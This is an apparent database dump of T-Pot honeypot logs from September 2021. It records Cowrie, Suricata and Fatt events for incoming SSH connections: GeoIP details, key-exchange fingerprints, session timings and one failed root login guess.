"2021-09-20T11:27:46.411321", "@timestamp": "2021-09-20T11:27:46.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29618	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:27:41.876941+03	2021-09-20 14:30:04.359555+03	{"_id": "ygb2AnwBvYTbRNuENDbW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "da625828719d", "@version": "1", "duration": 2.7660892009735107, "timestamp": "2021-09-20T11:27:41.876941Z", "@timestamp": "2021-09-20T11:27:41.876Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29619	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:27:46.140897+03	2021-09-20 14:30:04.360524+03	{"_id": "3gb2AnwBvYTbRNuERDZ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 46.101.115.211:46894 (192.168.176.2:22) [session: ff4508cda88b]", "session": "ff4508cda88b", "@version": "1", "protocol": "ssh", "src_port": 46894, "dest_port": 22, "timestamp": "2021-09-20T11:27:46.140897Z", "@timestamp": "2021-09-20T11:27:46.140Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29620	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:27:45.367121+03	2021-09-20 14:30:04.361553+03	{"_id": "3wb2AnwBvYTbRNuERDZ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f9025f18c88b", "@version": "1", "duration": 2.3393778800964355, "timestamp": "2021-09-20T11:27:45.367121Z", "@timestamp": "2021-09-20T11:27:45.367Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29621	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:27:46.143869+03	2021-09-20 14:30:04.363523+03	{"_id": "4Ab2AnwBvYTbRNuERDZ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ff4508cda88b", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:27:46.143869Z", "@timestamp": "2021-09-20T11:27:46.143Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29622	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:27:46.179759+03	2021-09-20 14:30:04.364553+03	{"_id": "4Qb2AnwBvYTbRNuERDZ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ff4508cda88b", "@version": "1", "timestamp": "2021-09-20T11:27:46.179759Z", "@timestamp": "2021-09-20T11:27:46.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29623	46.101.115.211	109.199.241.180	Suricata	2021-09-20 14:27:46.179042+03	2021-09-20 14:30:04.365553+03	{"_id": "4gb2AnwBvYTbRNuERjYu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "flow_id": 456866143574037, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46894, "dest_port": 22, "timestamp": "2021-09-20T11:27:46.179042Z", "@timestamp": "2021-09-20T11:27:46.179Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29624	46.101.115.211	109.199.241.180	Fatt	2021-09-20 14:27:46.179132+03	2021-09-20 14:30:04.367553+03	{"_id": "5gb2AnwBvYTbRNuERzZV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 46894, "dest_port": 22, "timestamp": "2021-09-20T11:27:46.179132", "@timestamp": "2021-09-20T11:27:46.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29635	5.182.39.25	109.199.241.180	Cowrie	2021-09-20 14:27:47.97005+03	2021-09-20 14:30:04.381523+03	{"_id": "-wb2AnwBvYTbRNuETDZL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "5.182.39.25", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.182.39.25", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "41b1a80563ea", "@version": "1", "duration": 1.6201989650726318, "timestamp": "2021-09-20T11:27:47.970050Z", "@timestamp": "2021-09-20T11:27:47.970Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
29625	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:27:46.351073+03	2021-09-20 14:30:04.368556+03	{"_id": "5wb2AnwBvYTbRNuERzZV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.182.39.25", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37678, "timestamp": "2021-09-20T11:27:46.351073", "@timestamp": "2021-09-20T11:27:46.351Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29626	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:27:43.204457+03	2021-09-20 14:30:04.369554+03	{"_id": "0Qb2AnwBvYTbRNuEOjZ0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:27:42.851546+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 293}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1975669658418778, "payload": "U1NILTIuMC1saWJzc2gtMC42LjMK", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47452, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:27:43.204457Z", "@timestamp": "2021-09-20T11:27:43.204Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh-0.6.3\\n"}}	1	\N	\N	alert	known attacker	\N
29627	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:27:43.207294+03	2021-09-20 14:30:04.371554+03	{"_id": "0wb2AnwBvYTbRNuEOzab", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47452, "timestamp": "2021-09-20T11:27:43.207294", "@timestamp": "2021-09-20T11:27:43.207Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29628	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:27:44.187882+03	2021-09-20 14:30:04.372554+03	{"_id": "1Qb2AnwBvYTbRNuEPDao", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [root/dutch] failed", "session": "f9025f18c88b", "@version": "1", "password": "dutch", "username": "root", "timestamp": "2021-09-20T11:27:44.187882Z", "@timestamp": "2021-09-20T11:27:44.187Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29636	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:27:51.082522+03	2021-09-20 14:30:04.382523+03	{"_id": "Bwb2AnwBvYTbRNuEWTe4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:27:50.566628+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1209}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 256368480527716, "payload": "AAADVAUU3QoVCP8cbwUrGnPniT8SlAAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAB4RXDK1w==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60153, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:27:51.082522Z", "@timestamp": "2021-09-20T11:27:51.082Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T...\\n....o.+.s..?......ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.............xEp.."}}	1	\N	\N	alert	known attacker	\N
44309	87.255.215.173	109.199.241.180	Cowrie	2021-09-20 16:35:17.550686+03	2021-09-20 16:45:01.489564+03	{"_id": "xwZrA3wBvYTbRNuEB6ZV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sh-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.255.215.173", "asn": 39188, "as_org": "ICON LTD", "latitude": 48.0, "location": {"lat": 48.0, "lon": 68.0}, "timezone": "Asia/Almaty", "longitude": 68.0, "country_name": "Kazakhstan", "country_code2": "KZ", "country_code3": "KZ", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.255.215.173", "eventid": "cowrie.session.params", "message": [], "session": "a1a8232548b8", "@version": "1", "timestamp": "2021-09-20T13:35:17.550686Z", "@timestamp": "2021-09-20T13:35:17.550Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	KZ
29629	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:27:43.38219+03	2021-09-20 14:30:04.373553+03	{"_id": "1wb2AnwBvYTbRNuEPDao", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "f9025f18c88b", "@version": "1", "timestamp": "2021-09-20T11:27:43.382190Z", "@timestamp": "2021-09-20T11:27:43.382Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
